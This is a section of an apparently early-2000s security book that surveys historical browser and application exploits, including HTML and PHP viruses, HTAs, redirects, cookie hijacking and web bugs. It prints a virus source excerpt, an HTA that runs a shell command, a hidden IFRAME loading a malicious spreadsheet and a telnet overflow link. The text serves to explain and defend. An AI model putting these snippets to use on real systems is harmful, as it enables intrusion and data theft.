9.2 Examples of Attacks and Exploits
9.2 Examples of Attacks and Exploits Most attacks and exploits fall into the following categories:
With so much history to choose from, I tried to choose examples that would demonstrate the extent of the problem. 9.2.1 Viruses and TrojansPure HTML viruses have largely not been successful in causing widespread computer damage. HTML isn't a language built to create objects or access the local system without a little bit of help. HTML viruses containing VBScript, JavaScript, and scripted calls to ActiveX objects have been slightly more successful, but still aren't a large threat when coming over the Web. An HTML virus can be downloaded from a web site, but it will not be executed against the user 's local system unless saved and launched locally. And even then a browser's security warnings have to be ignored. If allowed to run, an HTML virus can infect other HTML files on the local system. Since most client computers don't act as web servers or send HTML files to others, HTML's ability to spread beyond the local machine is muted. 9.2.1.1 HTML.InternalHTML.Internal , written as a demonstration, was one of the first HTML viruses. It will only work on browsers that handle VBScript and ActiveX. That effectively limits it to Internet Explorer, versions 4.0 and above. And even then, default security should prevent the virus from spreading. Example 9-1 shows an excerpt of its source code. Using VBScript, the virus code searches for .HTM and .HTML files on the local hard drive and infects them. It uses a common method to access the local system by using the scriptable FileSystemObject ActiveX control to do its dirty work. Most of the early HTML and scripting viruses used this method to infect and we cover it in more detail in the "Detection" section of this chapter. Example 9-1. Source code excerpt from HTML.internal virus <html> <!--1nternal--> <head> <meta name="Author" content="1nternal"> </head> <BODY onload="CheckOffline( );"> Sub Offline Set FSO = CreateObject("Scripting.FileSystemObject") HostPath = Replace(location.href, "file:///", "") cpath = fso.GetParentFolderName(HostPath) Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false Set folder = fso.GetFolder(cpath) Set fc = folder.Files cpath = fso.GetParentFolderName(cpath) End Sub </script> </BODY> </HTML> Internal checks to see if it is running from the local hard drive by checking to see if the URL includes file: . The presence of this means the browser is operating in offline mode and viewing the file on the local hard drive. Internal, if allowed to successfully run, will attempt to infect (17 percent of the time) all .HTM and .HTML files in the local and parent directories. The infectious code is inserted into the host .HTML file near the beginning and called when the file is launched (with the OnLoad event). Internet Explorer, with default security settings, will warn you that an unsafe ActiveX control is trying to execute, and it will prompt you to accept or deny the launch. Other HTML viruses, like HTML.Lame, check for the presence of which browser is launching the malicious code to prevent unexpected errors and go undetected longer. As shown in Figure 9-2, Internet Explorer will often warn you when an HTML page is trying to use an ActiveX control to accomplish something which could be unsafe. In this case the warning is being displayed while the HTML.Lame virus is running. Figure 9-2. Internet Explorer warning message due to the HTML.Lame virus 9.2.1.2 PHP viruses and TrojansA few relatively harmless examples, including PHP.Pirus, PHP.Sysbat and PHP.NewWorld, have been created to demonstrate Hypertext Preprocessor Scripting 's ability to be malicious and mobile. When executed on a PHP-enabled computer, PHP viruses will search for and infect PHP or HTML files. PHP.Sysbat, a Trojan, is the first PHP example to modify additional file types. It writes to CONFIG.SYS , AUTOEXEC.BAT , and driver files. It inserts the text, "Xmorfic_VX_System_PHP_Infector!!" into targeted files and attempts to format the hard drive. Because PHP is a server-side scripting language and not directly supported by most client browsers, it is suspected that PHP viruses will not be much of a threat. A regular web browser visiting a PHP-enabled server cannot be infected. 9.2.1.3 eBayla Canadian computer security consultant, Tom Cervenka, wrote the Javascript virus, eBayla, as a demonstration of how easy it is write malicious code that could have serious consequences. The online auction website, eBay The exploit works because the account name and passwords of eBay participants can be called and inputted into a hidden form that is subsequently emailed to the originating hacker. In a strange response, eBay did not institute rules to stop this type of exploit. Instead, eBay said they would invalidate auctions where such exploits were involved. 9.2.1.4 Hotmail password exploitIt was also discovered that because Microsoft's Hotmail also allowed JavaScript to be inserted a message, it was possible to send a message to a Hotmail user and prompt them for a logon name and password. Many users would comply , not knowing that a malicious email was prompting them to do so, instead of the Hotmail web site. The JavaScript exploit could then send the user's logon information back to the hacker. Microsoft responded by stripping JavaScript out of certain places in email messages. A similar exploit was demonstrated against Critical Path 's (http://www.cp.net) web mail services. 9.2.1.5 Embedded malicious code in shared postingsAs eBayla and the Hotmail exploit showed, the ability to insert malicious scripting code into a shared posting is a huge security weakness. Most newsgroup servers and mail lists allow scripts to be embedded into their messages. Maybe they didn't consciously allow it, but the popular tools and software used to allow shared posting of information doesn't prevent it. A malicious hacker could post a message with an embedded harmful script to a newsgroup or mail list. As long as the newsgroup or mail server doesn't strip out the scripting (most don't), subsequent readers of the message can activate the malicious script and suffer the consequences. A malicious message might look something like this:
Script-enabled message readers would just see the plain, typed text, while executing the malicious content. Concerned about the Internet's exposure to such attacks, CERT released Advisory CA-2000-02 to address the subject of messages containing embedded malicious coding. CERT recommended that all newsgroup readers and browsers disable their scripting abilities . Further, CERT made an appeal to all web developers to rewrite their application software to prevent such attacks. 9.2.1.6 HTML applicationsHTML applications ( HTAs) have the full functionality of any HTML page without any security. An HTA can be created by taking any HTML file and giving it an .HTA extension. Voila! It becomes fully trusted. They can read and write files, modify the registry, and send files to remote, malicious web sites. As such, they are starting to become the hostile coder 's language of choice. Example 9-2 is a sample HTA that you can create. Just type the text and save it to a file. Then you can run the file from the Start Example 9-2. TEST.HTA <HTML> <body> <SCRIPT language="JavaScript"> objectx= new ActiveXObject ("WScript.Shell"); string="command /k echo It Worked!"; objectx.Run(string); </script> </body> </HTML> 9.2.2 Browser Component ExploitsInternet browsers by themselves , without add-ons, helper programs, and plug-ins contain many exploitable components . 9.2.2.1 Browser print templatesInternet Explorer 5.5 introduced browser print templates . It has always been a problem that what is printed to a printer usually differs with how the web site looked, and usually not in a good way. Microsoft introduced a way that web sites could manage the way a printed version of their pages looked . When a web site uses a browser print template, Internet Explorer accepts the directions of the browser template as trusted by the user. Unfortunately, browser templates can launch and manipulate ActiveX controls on the user's machine without their permission. 9.2.2.2 File upload formsHTML has long had the concept of input forms . Input forms allow users to submit a multiple number of pieces of information to a web site to be uploaded at once. Internet Explorer versions 5.0 to 5.5 allowed input forms, using the INPUT TYPE=FILE element, to specify a filename as a valid input type. Using this vulnerability, a malicious web site could invisibly upload a previously define file from a user's hard drive. Microsoft released patches to close both this vulnerability and the previous one in December 2000. 9.2.3 Redirection ExploitsThere are several ways to fool a browser into thinking it is pointing to one particular legitimate web site, and instead have it point to a malicious web site. The reason redirects have the potential to be so harmful is that users are readily willing to send confidential information to web sites they trust. For instance, on a web-based email site, users might not think twice about being asked for their logon credentials a second time. Except the second time could have been initiated from a maliciously crafted HTML web page or email. The stolen information can then be used to steal more information or used to pose as the user. Redirect exploits have found numerous times, and when one is fixed, another is created. 9.2.3.1 Web spoofingWhen a browser client connects to a particular web site using an URL, the browser uses a DNS server to convert the text-based URL into a valid IP address. There have been cases where malicious hackers have been able to " poison " DNS servers (which have lots of security problems themselves) to convert the URL address and point the browser to a fake web site. If the malicious web site looks like the original, intended web site, it is called a spoofed web site . This can be very dangerous. For example, supposed an online bank's website was spoofed. The web site user would type in their logon information as they normally would and assume their intended transactions were carried out. Instead, malicious hackers can capture the victim's online banking credentials and then connect to the original web site to conduct commercial transactions. You might ask that since most commercial web sites use SSL security, aren't browsers protected? Not always. Many browsers, including Internet Explorer ( CERT Advisory CA-2000-10 ), did not fully implement SSL as required by the protocol's standard. When an SSL session is being established, the browser must trust the certificate's issue authority, the certificate must not be expired , and the certificate must be linked to the site you are visiting. If not, the browser should warn you, tell you what is wrong, and prompt you on whether to continue. Figure 9-3 shows an example of a warning message you should get if a SSL certificate is not completely valid while your browser is negotiating a secure web connection. Figure 9-3. Warning message from an invalid SSL certificate In Internet Explorer, not all SSL certificate information was verified before a secured session was validated , only that the SSL certificate came from a trusted authority. Whether the certificate was expired or even belong to the current web site was not checked. Once an SSL session was established, the certificate credentials were no longer reverified. Prior to the latest patches, a web-spoofing scheme could defraud the browser and cause it to establish an SSL session to an invalid site. 9.2.3.2 JavaScript redirectIn 1999, it was discovered that a simple JavaScript coding statement could allow a malicious web site to read any file on a remote user's machine. The web surfer would be surfing the web unaware that remote access has been gained to her PC. Although the website could not list files, if it knew the name and location of a particular file, it could retrieve it. At first glance some readers might not see how easily this could be exploited. After all, how does a malicious hacker know what important files are on my machine? But in fact, many important files always have the same name and are stored in the same place. Most programs install in default folders, so by conducting a simple test, the web site can check for the presence of a particular program, and if found, download confidential files. For example, many Quicken users store all sorts of financial information, including their bank account numbers, PIN numbers, social security numbers , and home address. In short, everything a hacker needs to purchase items online or transfer money. Malicious hackers familiar with Quicken would have no trouble finding that sort of information within well-known files. The hacker could download the necessary files, and if needed, take all the time in the world to crack any protection mechanisms. Microsoft released a patch to fix the problem a few weeks later. 9.2.3.3 XML redirectEven XML, the language of all web languages, can be exploited. It was discovered that if someone embeds an XML document within a HTML document, an HTTP redirect statement (i.e. with the <a href> tag) to another location is not handled correctly. The mistake could allow a malicious document containing an XML document to gain access to local system files. This is an example of new weaknesses being introduced into browsers because of new technology. It cannot be avoided. 9.2.3.4 CSS/DHTML redirectCascading style sheets are used in many browsers and it is becoming an increasingly hacked component. Neohapsis (http://www.neohapsis.com) discovered that most CSS-enabled browsers are vulnerable to hidden redirects because of an interaction between CSS and DHTML. Specifically, a malformed web page, or web-based email, can be constructed with two different embedded layers . One layer, obvious to the user, looks normal or may be blank. The second layer contains a hidden <HREF=></A> redirection tag. The redirection tag is tied to an object or button on the web page, so that when the user chooses it, the redirection occurs. The redirection can force the user to end up at a malicious web site, download malicious code, or ask the user to reinput their logon validation information, which the hacker then records. Web-based email systems, like Hotmail, Yahoo!, and ZDNet, have been found to allow these types of attacks. Internet Explorer, Navigator, Opera, and Mozilla are included in the list of vulnerable browsers. Until web-based email and browser vendors disable this type of malicious interaction, most users can do little to prevent these types of attacks unless they can disable CSS. Unfortunately, there is no easy way to do that in Internet Explorer and Mozilla, and doing so would have large operational ramifications on legitimate web sites. 9.2.3.5 Frame problemsBy default, only frames opened up in the same domain are supposed to interact with each other. For example, a frame created in www.example.com should only be able to manipulate frames within the same www.example.com domain. There have been several exploits where a frame opened by one site could interact with a frame from a different domain. Some of the exploits can view or download information from within the other frame, and others allow a web site to monitor the unaware user's activities. In one exploit the usually restricted Document.ExecCommand( ) feature was allowed more system interaction if it was opened with the HTML IFRAME tag. This problem could allow a malicious web site to read files from the computer of somebody who visited the web site. Several different types of Frame exploits allow malicious web sites to read users' local files. 9.2.3.6 Dotless IP address exploitPrior to version 5, Internet Explorer incorrectly interpreted IP addresses written in double word decimal (remember this from Chapter 8) when determining which security zone the web site was located. Internet Explorer correctly converted the double word decimal into the correct IP address to make a valid connection, but then incorrectly converted it when determining what security zone the web site fell in. It would end up placing whatever the remote web site was into the Intranet zone (instead of the Internet zone), and subsequently, apply the wrong permissions. 9.2.4 Application Interaction ExploitsMore and more applications are becoming Internet-enabled or -aware. The same ability that allows our programs to interact with the Net gives malicious hackers opportunity to exploit. 9.2.4.1 Russian New YearThe Russian New Year exploit, so called because of its discovery date and location, was one of the first examples of how application interaction could be used to bypass security. In this case, it negated the browser and application security. MS Excel has a macro language command named CALL . It allows an Excel spreadsheet to start an external program or .DLL without warning the user. A malicious web link could download an Excel spreadsheet that, when opened, ran an autoexecute macro. The macro could contain a CALL statement that runs a malicious program or runs a legitimate program in a malicious way. All of this happens without warning the user or setting off macro warnings. Initially discovered in an antivirus lab, exploits appeared in the wild in the following months. 9.2.4.2 Media Player vulnerabilitiesMicrosoft's Windows Media Player has probably garnered more attention than the Redmond-based company would like. Several vulnerabilities have been found since the end of 2000 and all could allow the host machine to be completely compromised. One has to do with the Media Player's ability to run Active Stream Redirector (ASX) files. These files allow streaming audio and video to be downloaded from web sites. Media Player versions 6.4 and 7 can be subjected to a buffer overflow attack from a maliciously crafted ASX file. The second exploit, initially reported by GFI Security Labs (http://www.gfi.com), has to do with the new skins feature added in version 7. Customized skins, located in .WMS files can contain malicious programs, such as ActiveX controls and Java applets. If a user were to load a maliciously crafted skin, the rogue code would be launched on the user's machine with nothing to stop it from running. The normal security mechanisms used to prevent malicious Java or ActiveX from executing are not able to stop this exploit. An increasing number of programs can be customized with skins, and many are susceptible to inserted MMC. 9.2.4.3 PowerPoint buffer overflowIn January 2001, Microsoft released a patch to close a buffer overflow exploit in PowerPoint 2000 files. Specifically, malicious code could be embedded in a PowerPoint file that would crash PowerPoint or execute any other action the rogue hacker would want. It was demonstrated that one of these specially created PowerPoint files could be hosted in a web page or email. If downloaded and opened (versions prior to Internet Explorer 4.01 would do it automatically), it could allow a hacker complete control over the user's machine. 9.2.4.4 Office 2000 ODBC vulnerabilityJet is a database engine used by many Microsoft software products, including MS Office. It was discovered that Open Database Connectivity (ODBC) calls could be embedded in documents (e.g., MS Excel or MS Word) to act like macros and run external programs. A web site page could contain a HTML command like: <IFRAME SRC="http://www.example.com/malicious.xls"> The hidden frame would call the malicious spreadsheet that included an ODBC command that exploits a Jet database engine vulnerability to run another malicious program. With Internet Explorer, this would all occur and run without any warning. With Netscape, the user would be prompted whether or not to open the spreadsheet. Once opened, the exploit would run the same. This discovery was taken quite seriously by Microsoft. They updated their Jet database engine from version 3.51 to 4.0, in order to alleviate the bug. The original discoverer was able to make a minor change in his exploit code and reuse the same hole again. More Microsoft patches were released. 9.2.4.5 Telnet attacks The Telnet program ( TELNET.EXE ) allows a user to log on to remote text-based computer systems. Telnet has been included in Windows versions 95 and up. The Internet has added new ways to exploit Telnet. Microsoft's Telnet program will be executed anytime the following protocol types are included in a URL passed to Internet Explorer or Netscape: telnet://, rlogin://, or tn3270:// . In each case, either Telnet or HyperTerminal Hyperterminal's Telnet client contains a buffer overflow vulnerability, meaning that a malicious web site URL can activate Telnet and pass it information that will immediately cause a buffer overflow condition and allow unauthorized code to execute. A malicious link trying to cause a buffer overflow would look something like this: telnet:// zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz:zzzz/ followed by the malicious code that was to be executed when the Telnet client was closed. So, again, a web browser could click on web link and completely compromise their machine. Of course, they would not be aware anything happened other than their Telnet client opened and crashed for some unknown reason.
9.2.4.6 Active Desktop exploitsActive Desktop isn't my favorite Windows feature for a few reasons. It slows down any PC it is used on and causes desktop crashes that require interface reloading. While it allows anyone to make their desktop and folders an extension of the Internet, it allows more malicious mobile code to spread into a computer system. When a folder view is customized using Active Desktop, two files are created: DESKTOP.INI and FOLDER.HTT ( folder template file ). In the DESKTOP.INI file, a variable called PersistMoniker (see Figure 9-4) points to what folder template file to use to create the view. The DEFAULT.HTT is used to build new template files. It is possible for a malicious script to modify a template file so that the PersistMoniker points to a hostile HTA file. Then anytime the folder was viewed or opened, the HTA file could be in control. Figure 9-4. DESKTOP.INI file with PersistMoniker variable If you have Windows 98, you can try this example. Turn on Active Desktop by right clicking the desktop and choosing Active Desktop
A handful of security experts have done a moderate amount of testing on this exploit. They were able to create several viable threats, although depending on what the malicious code did, it occasionally caused unsafe code warnings. One investigator theorized that this exploit could be used to gain unauthorized access on an NT machine. A nonadministrative user has to have access to many shared folders in order to run Windows and its applications. He could modify the DESKTOP.INI file to point to his HTA file. When the folder was eventually opened by an NT administrator, it could execute with the rights of the administrator. Anything could be accomplished. As of print time, this type of exploit had not been documented in the wild, yet. 9.2.4.7 More Office HTML exploitsIn Security Bulletin MS00-049 , Microsoft revealed two new vulnerabilities between Office and the Internet. In the first, called the Office HTML Script vulnerability, a malicious script file on a web page could reference an Excel 2000 or PowerPoint file in such a way that it allowed a web site to save any file it wanted to the user's local hard drive. The second, called the IE Script vulnerability, allows a web link to reference a remote, malicious MS Access file, which contains and executes hostile VBA macro code on the local user's computer. Clearly, the ever-increasing integration between our applications and the Internet is opening new opportunities for malicious coders. 9.2.5 Privacy InvasionsWeb sites and marketers are always dreaming up new ways to track customer travels and preferences beyond what can be given by simple cookies. 9.2.5.1 Cookie exploits A critical concern of security experts is that cookies, which are often stored as plain text on a user's hard drive, do not introduce unnecessary risk for web transactions. This is not always true. Bank One Online Unfortunately, the cookie on the user's hard drive contains the bank card number and PIN in clear text. It would not take much effort or understanding for someone besides the authorized bank card user to understand where the cookie points to and what the stored information allows. With over 600,000 online customers, many of these cookies must be stored on insecure and shared computers. 9.2.5.2 Cookie hijackingBy default, cookies should only be able to be read by the domains that they were created by. Several exploits have been shown to allow cookies to be coopted. In one exploit, a malicious web site URL link could access anyone's cookie by simply knowing the cookie's name and appending three dots to their domain's name in the cookie request. For example:
The three dots appended after the domain name confused both Netscape and Internet Explorer about whether the cookie belonged to the requestor and whether it was allowed to be read. If read by a malicious party, the knowledge gained by the cookie could be used to impersonate the original user. Most cookies from a web site contain standard information and formatting. It is possible for outside parties to learn what information is stored in a cookie and then create a cookie that mimics the user's own information. Then the rogue hacker could visit a web site and pretend to be someone else. This is called cookie hijacking . Microsoft released a patch ( Security Bulletin MS00-080 ) to prevent cookie hijacking on their Internet Information Servers. This exploit, which can occur with other vendor products, can even allow cookies within an SSL session ( secure session ID cookies ) to be decoded and hijacked. What was discovered was that once a browser client established a secure connection to a protected server, if the web client also connected to an unsecured page on the same site, the same cookie, unencrypted, was sent. This is a big problem for web surfers needing to keep their authentication information from being sent over the web in unencrypted format. 9.2.5.3 Web bugsWeb bugs are large, one-pixel graphic files designed to track a user's movements across the Web, something a cookie can't do. Used by many major web sites, including Quicken, FedEx, Microsoft, and Barnes and Nobles, web bugs can appear in a web page, an email, or even in a web-enabled document (i.e. MS Word). Web bugs are tiny graphics downloaded by a browser, and usually unnoticed by the user. While active, the web bug can track where the user goes. Example 9-3 and Example 9-4 show web bug coding. Example 9-3. Web bug code<IMG WIDTH=1 HEIGHT=1 border=0 SRC="http://media.tracking.com/ping?ML_ SD=ApplicationProgram nd&ef_afcr=EC321-D113"> Example 9-4. Web bug code<img src="http://ad.vend.com/ad/pixel.program" width=1 height=1 border=0> Key to both of these HTML web bug examples is a width of 1, a height of 1, and a no-frame boarder. This instructs the browser to download the graphic at the size of one pixel with no frame around the image. Often the web bug is white or some other color designed to blend into the background of the web site or the user's screen background. How many people are going to notice a one-pixel big dot on their screen? That's what sites that use web bugs are counting on. Web bugs are typically used by advertising networks (i.e. Doubleclick.net) to track the web habits of users. The information that can be returned by a web bug is limited: IP address of computer that downloaded the web bug, time web bug was viewed, URL of web site, and information previously stored in predefined cookies. Although the information that a web bug reveals might not seem like a complete privacy invasion, they are able to let someone else know you visited a particular web site or opened a particular document or piece of email.
A spammer might want to use a web bug in his email messages. We are all told that the best way to fight spam is to just delete it. Supposedly the spammer, getting no reply, might think your email address is inactive. But if the spam message contains a web bug and you open it, it can send the spammer the time and date it was opened and the IP address of your machine. If embedded in a document, the web bug can let the document creator know who is reading it and when. Privacy groups are asking that web sites, emails, and documents that embed web bugs disclose their usage.
9.2.5.4 Application monitors Dozens of web-enabled programs have been found to be monitoring end-user behavior and web travels. The most famous recent privacy invasion involves Netscape's Smart Download Initially, when media reports broke the news, largely due to the work of Steve Gibson (http://www.grc.com), Netscape denied any information was tracked. Later on they recanted and said the recorded information was only used for troubleshooting analysis. A class-action lawsuit was brought against Netscape/AOL, who promised to remove the tracking feature. 9.2.5.5 ImportExportFavorites exploitMicrosoft included a way for users to export a list of their browser Favorites to a file and also allow a file of Favorites to be imported. This is very useful when transferring a user from one PC to another during a PC replacement. Microsoft found out that a malicious web site could invoke the ImportExportFavorites( ) function and write files to a user's local hard drive. These files could be malicious in intent and allow unauthorized access or damage to occur. The first patch Microsoft provided did not completely stop this exploit; it only notified the user that something was attempting to Import or Export their Favorites and ask if that was allowable . It also restricted where such file interactions could take place. 9.2.5.6 Cached data bugsMost browsers allow different types of user information to be derived from the memory or file cache. Sometimes it has been as little as a list of sites most recently visited by the user, and at other times, very sensitive information (like a local area network logon name and password). What's more, Internet Explorer has been found to be vulnerable to programs downloaded and temporarily stored in the cache. Remember, browsers often download content to a temporary cache before asking whether to execute it. There have been several Microsoft bulletins , including MS01-015 released on March 6, 2001, which have revealed that malicious programs can exploit the cached areas if they can learn or guess the location of the temporary cache folders and files. A cache folder exploit goes something this: a user visits a malicious web site or receives a rogue HTML email. Embedded in the message or the page is a malicious program, maybe a backdoor Trojan. In either case, the program is downloaded into a random temporary cache folder. Because information stored in cache folders is thought to be secured against attack, it is considered trusted. The malicious web page or email contains a second file, maybe a harmless looking compiled help file, that if executed is able to find the malicious cache file (now trusted) and execute it.
What I have presented is a large collection of browser exploits. This isn't even a tenth of what has been discovered in the past few years . Browsers are great applications to exploit. They are complex and ever changing. They contain so much coding and interaction with other coding not under the vendor's control, that they will always be a moderate to large risk for any organization. And we haven't even touched on the potentially more dangerous ActiveX and Java exploits of Chapter 10 and Chapter 11. |
, allows Javascript to be included with the description of the item to bid upon. A rogue hacker could place an item up for bid, and include malicious JavaScript code in the description, which is completely invisible to the user. Then when bidders read the description, the JavaScript code steals the victim's eBay account names and passwords. The victim's logon account information can then be used to add, modify, and retract bids in the victim's name. 
Run command line, from Internet Explorer, or from Windows Explorer. The important part is that although I only use the TEST.HTA to echo some text to the screen, I could have told it to do something more destructive. Because the HTA is not governed by normal browser security, it is free to do whatever it wants on the local system. HTAs are rampant in today's messaging systems, and as such, I'll cover them in more detail in Chapter 12. 
 | |
Team-Fly  |
| Top |
EAN: 2147483647
Pages: 176